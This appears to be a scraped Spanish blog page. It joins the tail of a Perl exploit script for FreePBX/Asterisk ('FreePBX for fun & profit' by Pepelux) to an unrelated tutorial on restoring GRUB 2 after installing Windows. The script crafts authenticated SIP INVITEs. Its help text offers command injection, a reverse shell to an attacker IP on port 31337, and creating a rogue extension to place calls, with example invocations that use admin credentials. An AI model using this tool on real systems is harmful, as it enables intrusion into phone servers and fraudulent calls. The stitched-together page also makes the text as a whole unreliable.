 $msg .= "v=0\n";
 $msg .= "o=Z 0 0 IN IP4 $myip\n";
 $msg .= "s=Z\n";
 $msg .= "c=IN IP4 $myip\n";
 $msg .= "t=0 0\n";
 $msg .= "m=audio 8000 RTP/AVP 0 101\n";
 $msg .= "a=rtpmap:0 PCMU/8000\n";
 $msg .= "a=rtpmap:101 telephone-event/8000\n";
 $msg .= "a=fmtp:101 0-15\n";
 $msg .= "a=sendrecv\n\n";

 print $sc $msg;

 print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);

 my $nonce = "";
 my $realm = "";
 my $data = "";

 LOOP: {
 while (<$sc>) {
 my $line = $_;

 if ($line =~ /nonce/ && $nonce eq "") {
 $line =~ /nonce\=\"(\w+)\"/i;

 if ($1) {
 $nonce = $1;
 }
 }

 if ($line =~ /realm/ && $realm eq "") {
 $line =~ /realm\=\"(\w+)\"/i;

 if ($1) {
 $realm = $1;
 }
 }

 $data .= $line;

 if ($line =~ /^\r\n/) {
 last LOOP;
 }
 }
 }

 if ($data ne "") {
 print "\nReceiving:\n=========\n$data\n\n" if ($v eq 1);

 $msg = "ACK sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
 $msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-f19dea05177804a6-1---d8754z-\n";
 $msg .= "Max-Forwards: 70\n";
 $msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>;tag=as66051ead\n";
 $msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
 $msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
 $msg .= "CSeq: 1 ACK\n";
 $msg .= "Content-Length: 0\n\n";

 print $sc $msg;

 print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);

 $branch = &generate_random_string(71, 0);

 my $md5 = Digest::MD5->new;
 $md5->add($user, ':', $realm, ':', $pass);
 my $HXA = $md5->hexdigest;
 my $uri = "sip:".$tfno."@".$astip.";transport=UDP";

 $md5 = Digest::MD5->new;
 $md5->add('INVITE', ':', $uri);
 my $HXB = $md5->hexdigest;

 $md5 = Digest::MD5->new;
 $md5->add($HXA, ':', $nonce, ':', $HXB);
 my $response = $md5->hexdigest;

 $msg = "INVITE sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
 $msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-e400a1db44b6e0b7-1---d8754z-\n";
 $msg .= "Max-Forwards: 70\n";
 $msg .= "Contact: <sip:".$user."@".$myip.":$lport;transport=UDP>\n";
 $msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>\n";
 $msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
 $msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
 $msg .= "CSeq: 2 INVITE\n";
 $msg .= "Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE\n";
 $msg .= "Content-Type: application/sdp\n";
 $msg .= "Supported: replaces, norefersub, extended-refer, X-cisco-serviceuri\n";
 $msg .= "User-Agent: Zoiper rev.11619\n";
 $msg .= "Authorization: Digest username=\"$user\",realm=\"$realm\",nonce=\"$nonce\",uri=\"$uri\",response=\"$response\",algorithm=MD5\n";
 $msg .= "Allow-Events: presence, kpml\n";
 $msg .= "Content-Length: 181\n\n";

 $msg .= "v=0\n";
 $msg .= "o=Z 0 0 IN IP4 $myip\n";
 $msg .= "s=Z\n";
 $msg .= "c=IN IP4 $myip\n";
 $msg .= "t=0 0\n";
 $msg .= "m=audio 8000 RTP/AVP 0 101\n";
 $msg .= "a=rtpmap:0 PCMU/8000\n";
 $msg .= "a=rtpmap:101 telephone-event/8000\n";
 $msg .= "a=fmtp:101 0-15\n";
 $msg .= "a=sendrecv\n\n";

 print $sc $msg;

 print "Sending:\n=======\n$msg\n\n" if ($v eq 1);

 $data = "";
 my $server = "";

 LOOP: {
 while (<$sc>) {
 my $line = $_;

 if ($line =~ /[Ss]erver/ && $server eq "") {
 $line =~ /[Ss]erver\:\s(.+)\r\n/;

 if ($1) {
 $server = $1;
 }
 }

 $data .= $line;

 if ($line =~ /^\r\n/) {
 last LOOP;
 }
 }
 }

 if ($v eq 1) {
 print "\nReceiving:\n=========\n$data\n\n";
 }

 my $dhost = "$astip:$nport";
 $dhost .= "\t" if (length($dhost) < 10);
 $server = "Unknown" if ($server eq "");
 }

 print "Llamada finalizada \n\n";
}

sub generate_random_string {
 my $length_of_randomstring = shift;
 my $only_hex = shift;
 my @chars;

 if ($only_hex == 0) {
 @chars = ('a'..'z','0'..'9');
 }
 else {
 @chars = ('a'..'f','0'..'9');
 }
 my $random_string;
 foreach (1..$length_of_randomstring) {
 $random_string.=$chars[rand @chars];
 }
 return $random_string;
}

sub help {
 print qq{
:: FreePBX for fun & profit - by Pepelux ::
 -------------------------------------

Uso: $0 -h <host> -u <user> -p <pass> [opciones]

 == Opciones ==
 -cli <commando> = Ejecutar comando de Asterisk
 -cs = Crear una shell
 -es = Ejecutar una shell
 -auto = Crea y ejecuta una shell
 -ip = Nuestra IP para la shell (para -cs y -call)
 -port = Puerto para la shell (por defecto: 31337)
 -ext = Extension a crear (por defecto: 999)
 -call = Realizar llamada tras la inyeccion
 -user = Usuario de nuestra extension
 -pass = Password de nuestra extension

 == Ejemplos ==
 $0 -h 192.168.1.1 -u admin -p 12345 -cli "sip show peers"
 $0 -h 192.168.1.1 -u admin -p 12345 -cs -ip 192.168.1.2 -call -user 206 -pass 1234
 $0 -h 192.168.1.1 -u admin -p 12345 -es -ip 192.168.1.2 -call -user 206 -pass 1234
 $0 -h 192.168.1.1 -u admin -p 12345 -auto -ip 192.168.1.2 -call -user 206 -pass 1234
 };

 print "\n";
 exit 1;
}

Saludos!

Recuperar GRUB 2 tras instalar Windows

Dichoso Windows! Si usas Windows y luego instalas Linux en otra partición el mismo grub te añadirá las particiones de Windows y las de Linux sin ningún problema. ¿Por qué entonces cuando lo haces al revés Windows no tiene en cuenta que NO es el único sistema operativo del mundo y que es posible que en tu máquina tengas ya configurado algo en el MBR?

Antes era más sencillo con el LILO o con GRUB. Bastaba con arrrancar con el “Super Grub Disk” (un programa antiguo pero que me ha sacado de más de un apuro) y restaurar tu MBR o simplemente arrancar la paartición que desees y luego reparar el MBR.

Pero con GRUB 2 la cosa cambia. El Super Grub Disk no me detectaba la partición de Linux (lo que hizo que algo empezara a subir hasta ponerse casi de corbata) así que Googleando, con un litro de café y probando varias cosas al final lo pude solucionar así:

1. Bajar la versión 9.10 de Ubuntu y quemarla en un CD … a pesar de ser usuario fiel de Debian 🙁

2. Arrancar con el CD de Ubuntu y arrancar con la primera opción, que no te hace cambios en el disco

3. Una vez cargado Ubuntu, abrimos una consola y ejecutamos:

  • sudo fdisk -l     // donde nos saldrá la tabla de particiones y debemos buscar la nuestra de Linux
  • sudo mount /dev/sda3 /mnt    // mi partición de Linux está en /dev/sda3
  • sudo grub-install –root-directory=/mnt /dev/sda

Y si todo ha ido bien, te restaurará el Grub anterior (en el que tapoco tenía Windows :))

En el caso de que haya dado error por no tener el fichero grub.cfg, lo podemos regenerar así:

  • sudo mount –bind /proc /mnt/proc
  • sudo mount –bind /sys /mnt/sys
  • sudo mount –bind /dev /mnt /dev
  • sudo chroot /mnt update-grub

Luego reiniciamos el equipo y veremos nuestro anterior Grub 2 y, como dije, sin el Windows ya que antes no lo tenía instalado.
Para añadir la partición de Windows tenemos que crear un fichero en /etc/grub.d al que llamaremos 20_windows_xp (ver /etc/grub.d/README para entender el formato del fichero):

#! /bin/bash -e cat << EOF
menuentry “Microsoft Windows XP Professional” {
set root=(hd0,2)
chainloader +1
}
EOF

(No olvidar meter un salto de línea después del EOF)

Luego ejecutar el siguiente comando (ya una vez arrancado nuestro Linux):

  • sudo update-grub2

Reiniciamos para verificarlo y, si no ha salido la partición de Windows, siempre la podemos añadir a mano en el grub.cfg (aunque luego cuando haya una actualización y se regenere la perderemos). Para ello editamos /boot/grub/grub.cfg y añadimos esto:

menuentry “Windows xp” {
insmod ntfs
set root=(hd0,2)
chainloader +1
}

Teniendo en cuenta que yo puse hd0,2 porque tengo en /dev/sda2 mi Windows